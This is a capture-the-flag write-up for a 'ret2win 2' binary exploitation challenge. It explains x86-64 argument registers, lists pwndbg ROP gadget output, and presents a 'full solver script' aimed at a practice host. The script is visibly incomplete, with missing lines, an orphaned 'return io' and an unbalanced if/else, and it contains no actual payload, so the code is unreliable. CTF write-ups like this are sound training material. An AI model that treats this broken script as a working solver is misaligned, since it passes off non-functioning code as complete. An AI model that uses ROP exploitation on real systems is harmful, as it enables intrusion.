ret2win 2

Binary Exploitation

Last updated 6 months ago

Introduction to Return Oriented Programming (ROP). Di arsitektur x86-64, 3 argumen pertama dari saat memanggil fungsi diambil dari register RDI, RSI, dan RDX. Dengan tools seperti ropper atau ROPgadget, kita bisa dapetin gadget yang bisa ngisi register-register itu dengan nilai yang kita inginkan.

Author: zran

My first introduction to using actual ROP to solve a challenge, learned stuff at ir0nstone and used the knowledge to perform "Ret2Win with Parameters". Since this was a 64-bit binary, I had to do register popping. But first, I had to find which variable was connected to which:

Looking at the disassembly for the win function, I saw three comparisons and fortunately they were easily recognizable with their register names of RDI, RSI, and RDX.

pwndbg> rop --grep pop
0x00000000004011fb : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401219 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x0000000000401216 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011f6 : mov byte ptr [rip + 0x2eab], 1 ; pop rbp ; ret
0x000000000040121c : mov ebp, esp ; pop rdi ; ret
0x000000000040121b : mov rbp, rsp ; pop rdi ; ret
0x0000000000401224 : nop ; pop rbp ; ret
0x00000000004011fd : pop rbp ; ret
0x000000000040121e : pop rdi ; ret
0x0000000000401222 : pop rdx ; ret
0x0000000000401220 : pop rsi ; ret
0x000000000040121a : push rbp ; mov rbp, rsp ; pop rdi ; ret

The author was nice enough to leave simple return gadgets for each required register pop, so here's the full solver script:

#!/usr/bin/env python3

# This exploit template was generated via:
# $ pwn template ret2win --host playground.tcp1p.team --port 19001

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...

host = args.HOST or 'playground.tcp1p.team'
port = int(args.PORT or 19001)

    return io

    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
